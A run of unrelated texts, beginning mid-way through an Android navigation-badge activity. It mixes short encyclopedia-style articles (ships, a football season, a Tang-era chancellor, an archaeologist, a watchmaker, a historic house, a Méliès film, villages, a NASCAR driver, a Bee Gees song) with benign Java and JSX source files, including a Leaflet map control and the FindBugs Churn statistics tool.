itemName); } }); spaceNavigationView.setSpaceOnLongClickListener(new SpaceOnLongClickListener() { @Override public void onCentreButtonLongClick() { Toast.makeText(ActivityWithBadge.this, "onCentreButtonLongClick", Toast.LENGTH_SHORT).show(); } @Override public void onItemLongClick(int itemIndex, String itemName) { Toast.makeText(ActivityWithBadge.this, itemIndex + " " + itemName, Toast.LENGTH_SHORT).show(); } }); spaceNavigationView.showIconOnly(); setUpRecyclerView(); } @Override protected void onSaveInstanceState(Bundle outState) { super.onSaveInstanceState(outState); spaceNavigationView.onSaveInstanceState(outState); } private void setUpRecyclerView() { RecyclerView recyclerView = (RecyclerView) findViewById(R.id.recyclerView); RecyclerAdapter adapter = new RecyclerAdapter(dummyStrings()); recyclerView.setHasFixedSize(true); recyclerView.setLayoutManager(new GridLayoutManager(this, 2)); recyclerView.setAdapter(adapter); adapter.setRecyclerClickListener(new RecyclerAdapter.RecyclerClickListener() { @Override public void onClick(int position) { if (position == 0) { spaceNavigationView.showBadgeAtIndex(1, 54, ContextCompat.getColor(ActivityWithBadge.this, R.color.badge_background_color)); } else if (position == 1) { spaceNavigationView.hideBudgeAtIndex(1); } } }); } private List<String> dummyStrings() { List<String> colorList = new ArrayList<>(); colorList.add("#354045"); colorList.add("#20995E"); colorList.add("#76FF03"); colorList.add("#E26D1B"); colorList.add("#911717"); colorList.add("#9C27B0"); colorList.add("#FFC107"); colorList.add("#01579B"); return colorList; } } ```
USS Franklin may refer to: , a 6-gun schooner, fitted out in 1775 and returned to the owner in 1776 , an 8-gun brig built in 1795, captured by corsairs from Tripoli in 1802, bought back by the United States Navy in 1805, and sold in 1807 , a 74-gun ship of the line launched in 1815 and broken up in 1852 , a screw frigate launched in 1864 and in active service until 1877, thereafter used as a receiving ship until 1915 , an aircraft carrier commissioned in 1944 and crippled by bombs in March 1945, later repaired but remaining in reserve until stricken in 1964 See also , a ballistic missile submarine , a U.S. Navy shipname referring to Benjamin Franklin , an aircraft carrier , a U.S. Coast Guard Point-class cutter Franklin (disambiguation) United States Navy ship names
The 2019 Butler Bulldogs football team represented Butler University in the 2019 NCAA Division I FCS football season. They were led by 14th-year head coach Jeff Voris and played their home games at the Bud and Jackie Sellick Bowl. They are members of the Pioneer Football League. Preseason Preseason coaches' poll The Pioneer League released their preseason coaches' poll on July 30, 2019. The Bulldogs were picked to finish in seventh place. Preseason All-PFL teams The Bulldogs had five different players selected to the preseason all–PFL teams. Offense First team Pace Temple – WR Second team Tommy Kennedy – OL Defense Second team Mason Brunner – LB Luke Sennett – DB Special teams Second team Drew Bevelhimer – K Mason Brunner – LS Schedule Game summaries Vs. North Dakota State Indiana Wesleyan Taylor At Princeton At Stetson Drake At Morehead State Jacksonville At Marist Davidson Valparaiso At Dayton References Butler Butler Bulldogs football seasons Butler Bulldogs football
Horowitzian is an eponymous adjective and may refer to: Vladimir Horowitz (1903–1989), Russian-American classical virtuoso pianist Donald L. Horowitz (born 1939), professor of law and political science
Yang Zhirou (楊執柔) (died 692?) was an official of Wu Zetian's Zhou Dynasty, serving briefly as chancellor. It is not known when Yang Zhirou was born. What is known is that his grandfather Yang Xu (楊續), a member of Tang Dynasty's predecessor Sui Dynasty's imperial clan, was a brother of the early Tang chancellors Yang Gongren and Yang Shidao. As Wu Zetian's mother Lady Yang was a cousin of Yang Xu, she viewed him as a member of her mother's household and treated him well. As of 692, he was serving as the minister of defense (夏官尚書, Xiaguan Shangsu), when she gave him the designation of Tong Fengge Luantai Pingzhangshi (同鳳閣鸞臺平章事), making him a chancellor de facto. When doing so, she commented that she wanted the members of both her father's and mother's clans to be chancellors (and by that time, her nephews Wu Chengsi and Wu Youning were chancellors). Seven months later, as part of a major reorganization of her administration, he was removed from his chancellor position along with Wu Chengsi and Wu Youning, and made the minister of public works (地官尚書). He appeared to have died soon thereafter. Notes and references Old Book of Tang, vol. 62. New Book of Tang, vol. 100. Zizhi Tongjian, vol. 205. Chancellors under Wu Zetian 692 deaths Year of birth unknown Wu Zetian
Barbara L. Voss (born 1967) is an American historical archaeologist. Her work focuses on cross-cultural encounters, particularly the Spanish colonization of the Americas and Overseas Chinese communities in the 19th century, as well as queer theory in archaeology and gender archaeology. She is an associate professor of anthropology at Stanford University. Education Voss graduated with a BA from Stanford University in 1988, where she earned the Michelle Rosaldo Prize for Research in Feminist Anthropology (1987), the Presidential Award for Academic Excellence (1986, 1987), and the Boothe Prize (1986). In 2002, after working as a field archaeologist for some years, she obtained a PhD from the University of California, Berkeley. Her dissertation was entitled The Archaeology of El Presidio de San Francisco: Culture Contact, Gender, and Ethnicity in a Spanish-colonial Military Community. Since 2001, Voss has taught at Stanford. Career During 1987-1996 Voss was employed in cultural resource management, conducting prehistoric and historic archaeological studies and environmental reviews. Voss's early research focused on both the Spanish colonization of the Americas, as well as gender and sexuality studies. In her work on the Spanish-colonial military settlement of El Presidio de San Francisco, Voss showed how the regulation of sex was an important part of Spanish colonization. In 2008, Voss was a recipient of the Ruth Benedict Prize, for her book, The Archaeology of Ethnogenesis: Race and Sexuality in Colonial San Francisco. In 2000, she and Robert Schmidt won the prize for the edited anthology, Archaeologies of Sexuality. The Ruth Benedict is awarded each year by the American Anthropological Association for the best scholarly book written from an anthropological perspective about a lesbian, gay, bisexual, or transgender topic. Voss's current work focuses on 19th century migration to the United States from southern China. Since 2002, Voss has served as the director of the Market Street Chinatown Archaeology Project, a community archaeology project investigating a historical Overseas Chinese enclave in San Jose, California. She also the Director of Archaeology for a multidisciplinary study, the Chinese Railroad Workers of North America Project. In her work on Chinatowns, Voss has critiqued a tendency toward Orientalism in previous scholarship, in which Chinese immigrants are seen as always engaged in the a conflict between a 'traditional' East and a 'modern' West. Questioning the stereotype of Chinatowns as insular and traditional, she has argued that this assumption has limited conclusions about these communities to questions of assimilation and acculturation. For Voss, the boundaries between Chinatowns and their surrounding communities have always been fluid, with close interactions between Chinese and non-Chinese residents. Voss has also argued for a transpacific archaeology which traces the global connections between Chinatowns in the Americas, other Overseas Chinese communities, and China. In March 2021, Voss published a two-article series calling harassment an “epidemic” in archaeology and proposing that public health models could prevent further harassment from occurring. She is a member of the Editorial Board for American Antiquity. Politics In early 2016, Voss established 'Archaeologists for a Just Future', a Facebook-based advocacy group encouraging archaeologists to participate in the presidential campaign. In November 2016, Voss stepped down as a group moderator. The group name was subsequently changed to 'Archaeologists for a Just Future'. The group currently has over 5,900 members. Selected publications Journals Books References 1967 births Living people American archaeologists Stanford University faculty Stanford University alumni Stanford University Department of Anthropology faculty American women archaeologists Historical archaeologists 21st-century American women
Gustav Bruemmer (German Brümmer, born April 23, 1905, in Kiel, died July 4, 1970, pseudonym: Guschi) was a German watchmaker and headmaster at the watchmaking school in Hamburg. Life and achievements Bruemmer left school in 1920, having acquired the O-level qualification. He learned the craft of watchmaking in Glashütte and took the trade test in 1924. His test work is now exhibited in the Museum of the School of Watchmaking in Glashuette. From 1927 to 1929 he attended the German School of Watchmaking Bruemmer Glashuette. He studied at the Vocational Teacher Training Institute and the Graduate School of Berlin. From 1931 to 1933 he trained as a commercial teacher. In his thesis he wrote about "Vocational education in watchmaking." In 1933 he had a practical educational year at the trade school in Lokstedt-Niendorf. In 1934 he took on various teaching assignments in Hamburg and married his wife Gertrude in the same year. From 1 April 1936 he was a fully employed teacher at the vocational school in Lokstedt-Niendorf. The monthly salary amount was then 236.37 Reichsmark. In 1940 he started as a teacher in the state sector School of Watchmaking Altona, Hamburg. In 1944 he became a commercial senior teacher at the same school. Since that time he wrote many technical articles for the journal "The Clock" (organ of the Central Association of the Watchmaker). [2] In 1952 he published the still-used book "Applied Mathematics for Watchmakers" as the third edition of the textbook series "The Watchmaking School" of the publisher Hermann Brinkmann with the cooperation of the State School of Watchmaking in Altona and the "Central Association of the Watchmaker". In 1958 he was technical director at the state school for watchmakers in Hamburg-Altona, until he retired in 1968. Bruemmer died of kidney failure many years after. Writings (selection) Applied mathematics for watchmakers. William Knapp Verlag. 15 editions. . A look at the gear train. The clock, 1949, No.6, p.3 Half of vibrations, oscillations and vibrations double. The clock, 1949, No. 8, p.7 The module - a useful computational size. The clock, 1949, No.12, p.8 The counter ratchet, an auxiliary drive for watches. The clock, 1950, No.12, p.21 Of development and construction of the free escapement. The clock, 1951, No. 2, 4, 6, 8 Of structure and adjustment of the Graham escapement. The clock, 1951, No.18, 20 22, Ferdinand Adolph Lange - founder of the Glashütte watchmaking. The clock, 1953, No.4, p.33 Of the unrest. The clock, 1954, No.22, p.34 Of the cylinder escapement. The clock, 1955, No.10, p.31 References ↑ 125 years of watchmaking school in Hamburg, classical watches, No.4, 2003, (PDF). Accessed 2 February 2013. ↑ Glossary of products by 1948 - 1982. Magazine "The Clock" in German Society for chronometry, (XLS). Accessed 6 February 2013. External links Scores by Gustav Bruemmer in the catalog that German national library 1905 births 1970 deaths German watchmakers (people) German educational theorists
The Jacob P. Perry House is a historic home on Sickletown Road in Pearl River, New York, United States. It was constructed around the end of the 18th century, one of the last houses in Rockland County to have been built in the Dutch Colonial style more common before the Revolution. It is a stone structure with a detailed period interior. A later owner renovated it during the 1930s, and an addition was built onto it in the late 1970s. There are several other buildings and structures on the property, the remnant of a former farm. In 2003 the house and an adjacent well and wellhouse were listed on the National Register of Historic Places. Buildings and grounds The house and outbuildings occupy a lot at the south corner of the three-way intersection of Sickletown Road and Gilbert Avenue (Rockland County Route 26), an area of Pearl River known as Nauraushaun. The terrain is level, with a steep drop to the reflecting the proximity of Lake Tappan and the Hackensack River basin. Large trees grow around the property, in keeping with the suburban character of the area. Surrounding properties are all residential. The main house itself is near the north corner of the lot, with an unpaved driveway from Sickletown running up to its west (front, originally the rear) elevation. Its main block is a one-and-a-half-story five-by-two-bay structure of dressed red sandstone blocks laid in rough courses, a bit more randomly on the south. The south and north roof fields are sided in clapboard It is topped with a broad gambrel roof with flared outward eaves shingled in split cedar shakes. On either side is a continuous shed-roofed dormer window; brick chimneys rise from either end. A sympathetic hyphen connects it to a modern wood frame addition on the south. On the east elevation, the house's original front facade, is a centrally located main entrance flanked by two windows on either side, echoed in the dormer fenestration above. Most of this is shielded by closely planted shrubbery and an awning over the entrance, a double Dutch door with original strap hinges. On the west, what is now the recessed front entrance has a small wooden porch with two wooden benches along the sides facing each other. It is flanked by a set of triple casement windows on either side. The north and south elevations are similar despite the hyphen on the latter, echoed by ivy on the other end. There are two windows on the attic level and a set of louvered quarter-rounds high in the gable field. The only difference is on the first story, where the south side has a wooden door into the hyphen, complemented by a French door to the exterior, whereas the north side has two windows to the west of the ivy with paneled wooden shutters. Interior Inside, the house has a center-hall plan and many original finishings. From the former main entrance there are six-paneled doors, cased in molded architraves leading to the parlor on the north, the dining room to the south and the other half of the entrance hall on the west, which also provides access to a small bathroom and closet. A stair with newel and squared balusters is against the south wall. Walls and ceilings are plaster with a molded chair rail. In the north parlor is a large fireplace with a detailed Federal style mantelpiece. It has a thin corniced molding, reeded frieze, fluted pilasters and three large hearthstones in front. Next to the chimney is a Colonial Revival dishware cabinet with glazed paired doors in a round, keystoned arch and similar paneled doors below. Thirty-foot () tulip beams with beaded edges run the length of the ceiling. The dining room fireplace is in a large projecting chimney breast with a simple wood mantel and similar hearthstones in front. A small separate room may be original; it is currently used as the kitchen. Its entrance door has a molded casing and a filled-in transom opening; it may be an exterior door reused from another location. French doors lead into the hyphen. Upstairs, the second floor has five rooms and two bathrooms with Federal detailing, including doors similar to the main entrance hall. In the attic are original hewn roof timber framing and rough sheathing. The rafters rise from end plates to a purlin where the roof pitch changes. Rising from the center beam is a vertical member joined to the horizontal collar by mortise and tenon. The cellar has stone-arch supports for the fireplaces above and a cold storage area. Outbuildings Immediately south of the house is a modern wooden cottage. Also on the property is a stone and wood barn. These, along with the addition, make up the other three buildings on the property, none of which contribute to the Register listing. To the east is a stone-lined cistern, topped with a circular wellhouse of red sandstone and frame. Both of them are of the same historic period as the house and are considered contributing structures. The other structure, an ornamental pond, was added more recently and does not contribute. History The land on which the house sits was originally part of the late 17th century Kakiat Patent, covering portions of what is today Rockland County and adjacent Bergen County, New Jersey. After the Revolutionary War, Michael Salyer, who had built a house nearby, sold the western portion of his land to Peter Perry. Whether the house was built in two sections or as one is not clear. A 1936 history of the house by Rosalie Bailey holds that it was, and if so, Perry may have built the west half of the house by 1796, although it is not certain he ever lived in it as he died elsewhere. It is equally possible that, like the similar nearby Sickels-Vanderbilt House, it was built as one. Perry's will bequeathed the property to his son Jacob, who completed the current main house (if that was the case) in 1801. Its walls of locally quarried dressed red sandstone and broad gambrel roof with wide flared eaves reflect a Dutch Colonial building tradition much more common in houses built before the war. The Perry house is one of the last in that style from the period. The interior, as it was built and refined over the next decades, reflects the then-popular Federal style. Jacob P. Perry died in 1839 and willed it to his son Jacob J. Perry, who died ten years later. From there it passed through other owners until it became the property of Clarence and Athens Chester around 1930. The house had fallen into some disrepair by that time, and the Chesters undertook to renovate and restore it. In the process they made some changes. The most significant changes made to the exterior were the installation of casement windows, and the replacement of the single windows on the west elevation with the current bands of three. On the south elevation they added the front windows. Inside, they installed doors consistent with the other interior decoration and put the current oak flooring down over the original wide planking. In 1955 the half-bath was added on the first floor. On the outside separate dormers were merged into the current continuous band. Two decades later, in 1978, the hyphen and south addition were added. There have been no other modifications to the house since. It continues to be a private residence. See also National Register of Historic Places listings in Rockland County, New York References Houses on the National Register of Historic Places in New York (state) Houses completed in 1796 Houses in Rockland County, New York Stone houses in New York (state) National Register of Historic Places in Rockland County, New York 1796 establishments in New York (state)
The Last Cartridges (, also released as Bombardement d'une Maison; Star Film Catalogue no. 105) is an 1897 French short silent war film directed by Georges Méliès, based on the 1873 painting of the same name by Alphonse de Neuville. The film recreates the defense of a house at Bazeilles, on September 1, 1870 at the Battle of Sedan during the Franco-Prussian War. The film was a great success and inspired the Lumière, Pathé and Gaumont studios to film imitations. Synopsis A group of soldiers attempt to defend a derelict house, where a nun cares for their wounded, but the house is bombed as they fire the last of the rounds of ammunition they have gathered from the floor. References External links SilentEra entry for Lumiere version, stating this was one of the earliest hand-coloured films 1897 films 1897 short films 1890s war films Films directed by Georges Méliès Films set in 1870 Franco-Prussian War films French black-and-white films French silent short films French war films Silent war films 1890s French films 1890s French-language films
Zederk (, also Romanized as Zadrak) is a village in the Tudeshk Rural District, Kuhpayeh District, Isfahan County, Isfahan Province, Iran. At the 2006 census, its population was 22, in 5 families. References Populated places in Isfahan County
```java /* * * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * * path_to_url * * Unless required by applicable law or agreed to in writing, software * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. */ package com.dianping.zebra.group.config.datasource.entity; import com.dianping.zebra.exception.ZebraException; import com.dianping.zebra.util.StringUtils; import javax.xml.bind.annotation.XmlAccessType; import javax.xml.bind.annotation.XmlAccessorType; import javax.xml.bind.annotation.XmlRootElement; @XmlRootElement(name = "singleConfig") @XmlAccessorType(XmlAccessType.FIELD) public class SingleConfig { private String name; private int writeWeight = -1; private int readWeight = -1; public SingleConfig() { } public SingleConfig(String name, int writeWeight, int readWeight) { this.name = name; this.writeWeight = writeWeight; this.readWeight = readWeight; } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getWriteWeight() { return writeWeight; } public void setWriteWeight(int writeWeight) { this.writeWeight = writeWeight; } public int getReadWeight() { return readWeight; } public void setReadWeight(int readWeight) { this.readWeight = readWeight; } public void checkConfig() { if(StringUtils.isBlank(this.name)) { throw new ZebraException("incomplete singleDataSourceConfig name:" + this.name); } } } ```
Timothy Fedewa (born May 9, 1967) is an American professional racing driver. He has formerly competed in the NASCAR Busch Series, NASCAR Craftsman Truck Series, American Speed Association and ARTGO. Fedewa is a spotter in the NASCAR Cup Series and NASCAR Xfinity Series, serving in that role for Stewart-Haas Racing drivers Kevin Harvick and Riley Herbst. Family Tim's father Butch was also a racing driver. He is married to model Kellee Meadows and they have one child, Willow Josephine Fedewa, born on January 8, 2009. Career After winning Rookie of the Year award in the ARTGO Challenge Series Fedewa went on to join the American Speed Association. Fedewa scored one top five finish. A third place at Winchester (Indiana) Speedway, And five top 10s on his way to the ASA's Pat Schauer rookie of the award in 1991. During Fedewa's time in the ASA his car owners Ray and Diane Dewitt also owned the RaDIUS team that fielded cars for former ASA standout Ted Musgrave in the NASCAR Winston Cup Series. Fedewa drove the No. 55 D-R Racing Enterprises Ford. Fedewa's NASCAR career began when he started racing full-time in the NASCAR Busch Series for the 1993 season. He would finish second for Rookie of the Year honors, and in the five years that followed, he won three races and finished in the top-ten in points four times; his highest finishes were 7th in both 1995 and 1998. He began piloting the No. 36 Chevrolet Monte Carlo in 1999 and would continue to for two-and-a-half years, until he and the team parted ways during the 2001 season. After acting as spotter to Bill Elliott and then later to Kerry Earnhardt, he was ironically hired by FitzBradshaw Racing in 2003 to replace Earnhardt in the No. 12 Dodge. In racing for the team, Fedewa reached as high as 9th in the 2004 points standings before dropping to 16th by the end of the season. Fedewa's 2nd-place finish stands as the best finish of any Fitz Bradshaw driver ever. In 2005, Fedewa failed to finish in the top-ten in twenty-one Busch Series starts, and was subsequently released by FitzBradshaw Racing on July 25, 2005. A week later, he was signed by Glynn Motorsports, a NASCAR Craftsman Truck Series team, to drive the No. 65 Dodge. He raced in seven events for the team; his highest finish was 10th at Las Vegas Motor Speedway. Since then, he has not participated in a NASCAR race. Fedewa made one Cup start in 1994 for Ray DeWitt at Dover; he finished 23rd. He made a brief return to the series in 2000 in a relief appearance at the Coca-Cola 600, substituting for injured Petty Enterprises driver John Andretti. Other Fedewa spotted for A. J. Allmendinger when he drove the No. 84 Red Bull Racing Team Toyota Camry in the NEXTEL Cup Series; Fedewa also spotted for No. 82 Red Bull Camry of Scott Speed. In the 2014 season, Fedewa helped guide Kevin Harvick to the 2014 NASCAR Sprint Cup Series championship as spotter of the No. 4 Chevrolet SS for Stewart-Haas Racing. Motorsports career results NASCAR (key) (Bold – Pole position awarded by qualifying time. Italics – Pole position earned by points standings or practice time. * – Most laps led.) Winston Cup Series Busch Series Craftsman Truck Series ARCA Bondo/Mar-Hyde Series (key) (Bold – Pole position awarded by qualifying time. Italics – Pole position earned by points standings or practice time. * – Most laps led.) References External links 1967 births NASCAR drivers American Speed Association drivers Racing drivers from Michigan Sportspeople from Lansing, Michigan Living people People from Holt, Michigan Herzog Motorsports drivers RFK Racing drivers
"(Our Love) Don't Throw It All Away" is a song penned by Barry Gibb and Blue Weaver and recorded by the Bee Gees in 1977 on the Saturday Night Fever sessions but was not released until Bee Gees Greatest (1979). A different version was released in September 1978 as the third single by Andy Gibb from his second studio album Shadow Dancing. Andy Gibb's version The song was Andy Gibb's fifth single to reach the US Top 10; the single reached #9 on the Billboard Hot 100 chart and #2 on the Adult Contemporary chart. When Andy Gibb was going to record it, Barry reworked on the song adding the middle eight that was not on the original Bee Gees' version, as Blue Weaver recalls, "When Andy actually went to record it, Barry listened to it [the original version] again and thought, 'Oh, it's not finished', so Barry wrote the whole of the middle-eight. Allmusic's Amy Hanson described this version of "(Our Love) Don't Throw It All Away" as a "tender ballad" that suited Andy's voice. Cash Box said it has "gentle keyboards, strings, an easy beat and harmonies." It appears on Andy's three greatest-hits albums. Personnel Andy Gibb – lead vocals Barry Gibb – backing vocals Joey Murcia – guitar Tim Renwick – guitar George Bitzer – Keyboards, synthesizer Paul Harris – keyboards Harold Cowart – bass Joe Lala – percussion Ron Ziegler – drums Whit Sidener – horns Ken Faulk – horns Bill Purse – horns Neil Bonsanti – horns Stan Webb – horns Albhy Galuten, Blue Weaver and Barry Gibb – orchestral arrangement Chart performance Weekly charts Year-end charts Bee Gees' version The Bee Gees version of the song, the first one created, was recorded in 1977 during the sessions for Saturday Night Fever but was not released until the compilation Bee Gees Greatest 1979. Barry and Maurice Gibb are the only members of the Bee Gees to appear on the recording. Barry wrote the lyrics while Weaver composed the melody. Weaver said of this song, "That was me playing around again; It wasn't done for [Saturday Night Fever], it was just something that we did". The stereo mix of an early state of the song exists but was unreleased until now. Samantha Sang, who was visiting France where this version was recorded, asked Barry for a song; not long afterwards, Barry sent Sang "Don't Throw it All Away", but Sang never recorded or released it, choosing instead the new song "Emotion". During the Bee Gees' One Night Only tour, they performed the song with Andy's vocal mixed in during the second stanza, chorus, bridge and the coda of the song years after Andy died. Personnel Barry Gibb – vocals, guitar Andy Gibb - background vocals Maurice Gibb – bass Blue Weaver – keyboards, orchestral arrangement Dennis Bryon – drums Joe Lala – percussion Other versions Jennifer Love Hewitt also covered the song on her 1996 self-titled album. Barbra Streisand recorded her rendition of the song in 2005 off her album Guilty Pleasures, which had Barry Gibb on the album cover with her. On Streisand's version, Barry Gibb is heard singing also the chorus. References External links 1978 singles 1977 songs 1978 songs Songs written by Barry Gibb Songs written by Blue Weaver Andy Gibb songs Bee Gees songs Song recordings produced by Barry Gibb Song recordings produced by Robin Gibb Song recordings produced by Maurice Gibb RSO Records singles Song recordings produced by Albhy Galuten Barbra Streisand songs Pop ballads
```jsx import L from 'leaflet'; import ReactDOM from 'ReactDOM'; import React from 'React'; import PropTypes from 'prop-types'; import './Contours.scss'; import ContoursPanel from './ContoursPanel'; class ContoursButton extends React.Component { static propTypes = { tasks: PropTypes.object.isRequired, map: PropTypes.object.isRequired } constructor(props){ super(props); this.state = { showPanel: false }; } handleOpen = () => { this.setState({showPanel: true}); } handleClose = () => { this.setState({showPanel: false}); } render(){ const { showPanel } = this.state; return (<div className={showPanel ? "open" : ""}> <a href="javascript:void(0);" onClick={this.handleOpen} className="leaflet-control-contours-button leaflet-bar-part theme-secondary"></a> <ContoursPanel map={this.props.map} isShowed={showPanel} tasks={this.props.tasks} onClose={this.handleClose} /> </div>); } } export default L.Control.extend({ options: { position: 'topright' }, onAdd: function (map) { var container = L.DomUtil.create('div', 'leaflet-control-contours leaflet-bar leaflet-control'); L.DomEvent.disableClickPropagation(container); ReactDOM.render(<ContoursButton map={this.options.map} tasks={this.options.tasks} />, container); return container; } }); ```
Bassozetus robustus, the robust assfish, is a species of cusk eel (Ophidiidae) found in deep tropical and temperate waters around the world. References Ophidiidae Fish described in 1913
Yazır is a neighbourhood of the municipality and district of Acıpayam, Denizli Province, Turkey. Its population is 1,358 (2022). Before the 2013 reorganisation, it was a town (belde). References Neighbourhoods in Acıpayam District
Lanfains (; ) is a commune in the Côtes-d'Armor department of Brittany in northwestern France. Population Inhabitants of Lanfains are called lanfinois in French. Geography The Lanfains countryside is bocage with undulating relief (Armorican Massif). The highest point in the commune at 323 m is situated at Bel Air-Porpaire. This makes Lanfains one of the highest communes in Brittany, the church standing at an altitude of 310 m. The neighbouring communes are Saint-Brandan, L'Hermitage-Lorge, Le Bodéo, La Harmoye, Saint-Bihy and Le Fœil. Quintin, Allineuc and Corlay are a few kilometres away. History Lanfains' name comes from the Breton language "lann" (hermitage) and, it seems, from the Latin "fanum" (temple). Lanfains was situated at the border of the Gallo and Breton languages. The parish of Lanfains was first mentioned in 1428. A wind farm was installed in the commune in 2005. Economy Agriculture is the main economic activity of the commune. It is essentially geared to husbandry of cattle, poultry and pigs and polyculture. The area of the commune is hectares. Two food industry enterprises are present, the LDC abattoir and the Armoricaine dairy. Artisan work is represented by a roofer, a plumber, a sawmill, a fish farmer and a milk factory. There are several commercial firms in the commune including a café and bar, a crêperie, a garage, a public works firm and a poultry transporter. Sights Saint-Guyganton church - built 1717 and restored in 1845. Le Pas (with space for leisure, lake, camping and chapel, crossed by the Saint-Brieuc-Loudéac railway, the former foundry-forge of Le Pas which was active from 1828 to 1978) See also Communes of the Côtes-d'Armor department References External links Official website of the Mairie Communes of Côtes-d'Armor
```java /* * FindBugs - Find Bugs in Java programs * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * * You should have received a copy of the GNU Lesser General Public * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA / package edu.umd.cs.findbugs.workflow; import java.io.FileOutputStream; import java.io.PrintStream; import java.util.HashMap; import java.util.Map; import java.util.TreeMap; import edu.umd.cs.findbugs.BugCollection; import edu.umd.cs.findbugs.BugInstance; import edu.umd.cs.findbugs.DetectorFactoryCollection; import edu.umd.cs.findbugs.SortedBugCollection; import edu.umd.cs.findbugs.charsets.UTF8; import edu.umd.cs.findbugs.config.CommandLine; /* * @author William Pugh / public class Churn { BugCollection bugCollection; int fixRate = -1; public Churn() { } public Churn(BugCollection bugCollection) { this.bugCollection = bugCollection; } public void setBugCollection(BugCollection bugCollection) { this.bugCollection = bugCollection; } String getKey(BugInstance b) { String result = b.getCategoryAbbrev(); if ("C".equals(result) \|\| "N".equals(result)) { return result; } return "O"; // return b.getPriorityAbbreviation() + "-" + b.getType(); } static class Data { int persist, fixed; int maxRemovedAtOnce() { int count = 0; for (int c : lastCount.values()) { if (count < c) { count = c; } } return count; } Map<Long, Integer> lastCount = new HashMap<>(); void update(BugInstance bug) { if (bug.isDead()) { fixed++; } else { persist++; } final long lastVersion = bug.getLastVersion(); if (lastVersion != -1) { Integer v = lastCount.get(lastVersion); if (v == null) { lastCount.put(lastVersion, 0); } else { lastCount.put(lastVersion, v + 1); } } } } Map<String, Data> data = new TreeMap<>(); Data all = new Data(); int[] aliveAt; int[] diedAfter; public Churn execute() { data.put("all", all); aliveAt = new int[(int) bugCollection.getSequenceNumber() + 1]; diedAfter = new int[(int) bugCollection.getSequenceNumber() + 1]; for (BugInstance bugInstance : bugCollection) { String key = getKey(bugInstance); Data d = data.get(key); if (d == null) { data.put(key, d = new Data()); } d.update(bugInstance); all.update(bugInstance); long first = bugInstance.getFirstVersion(); long last = bugInstance.getLastVersion(); if (last != -1) { System.out.printf("%3d #fixed %s%n", last, key); } if (first != 0 && last != -1) { int lifespan = (int) (last - first + 1); System.out.printf("%3d #age %s%n", lifespan, key); System.out.printf("%3d %3d #spread %s%n", first, last, key); diedAfter[lifespan]++; for (int t = 1; t < lifespan; t++) { aliveAt[t]++; } } else if (first != 0) { int lifespan = (int) (bugCollection.getSequenceNumber() - first + 1); for (int t = 1; t < lifespan; t++) { aliveAt[t]++; } } } return this; } public void dump(PrintStream out) { for (int t = 1; t < aliveAt.length; t++) { if (aliveAt[t] != 0) { System.out.printf("%3d%% %4d %5d %3d #decay%n", diedAfter[t] 100 / aliveAt[t], diedAfter[t], aliveAt[t], t); } } System.out.printf("%7s %3s %5s %5s %5s %s%n", "chi", "%", "const", "fix", "max", "kind"); double fixRate; if (this.fixRate == -1) { fixRate = ((double) all.fixed) / (all.fixed + all.persist); } else { fixRate = this.fixRate / 100.0; } double highFixRate = fixRate + 0.05; double lowFixRate = fixRate - 0.05; for (Map.Entry<String, Data> e : data.entrySet()) { Data d = e.getValue(); int total = d.persist + d.fixed; if (total < 2) { continue; } double rawFixRate = ((double) d.fixed) / total; double chiValue; if (lowFixRate <= rawFixRate && rawFixRate <= highFixRate) { chiValue = 0; } else { double baseFixRate; if (rawFixRate < lowFixRate) { baseFixRate = lowFixRate; } else { baseFixRate = highFixRate; } double expectedFixed = baseFixRate * total; double expectedPersist = (1 - baseFixRate) * total; chiValue = (d.fixed - expectedFixed) * (d.fixed - expectedFixed) / expectedFixed + (d.persist - expectedPersist) * (d.persist - expectedPersist) / expectedPersist; if (rawFixRate < lowFixRate) { chiValue = -chiValue; } } System.out.printf("%7d %3d %5d %5d %5d %s%n", (int) chiValue, d.fixed * 100 / total, d.persist, d.fixed, d.maxRemovedAtOnce(), e.getKey()); } } class ChurnCommandLine extends CommandLine { ChurnCommandLine() { this.addOption("-fixRate", "percentage", "expected fix rate for chi test"); } @Override public void handleOption(String option, String optionalExtraPart) { throw new IllegalArgumentException("unknown option: " + option); } @Override public void handleOptionWithArgument(String option, String argument) { if ("-fixRate".equals(option)) { fixRate = Integer.parseInt(argument); } else { throw new IllegalArgumentException("unknown option: " + option); } } } public static void main(String[] args) throws Exception { DetectorFactoryCollection.instance(); // load plugins Churn churn = new Churn(); ChurnCommandLine commandLine = churn.new ChurnCommandLine(); int argCount = commandLine .parse(args, 0, 2, "Usage: " + Churn.class.getName() + " [options] [<xml results> [<history>]] "); SortedBugCollection bugCollection = new SortedBugCollection(); if (argCount < args.length) { bugCollection.readXML(args[argCount++]); } else { bugCollection.readXML(System.in); } churn.setBugCollection(bugCollection); churn.execute(); PrintStream out = System.out; try { if (argCount < args.length) { out = UTF8.printStream(new FileOutputStream(args[argCount++]), true); } churn.dump(out); } finally { out.close(); } } } ```
Dowlatabad (, also Romanized as Dowlatābād) is a village in Now Bandegan Rural District, Now Bandegan District, Fasa County, Fars Province, Iran. At the 2006 census, its population was 59, in 14 families. References Populated places in Fasa County
União das Freguesias de São Miguel do Rio Torto e Rossio ao Sul do Tejo is a freguesia ("civil parish") in the municipality of Abrantes, Portugal. It was formed in 2013 by the merger of the former freguesias of São Miguel do Rio Torto and Rossio ao Sul do Tejo. The population in 2011 was 4,881, in an area of 58.94 km². It is situated on the left, southern bank of the Tagus River. References Freguesias of Abrantes
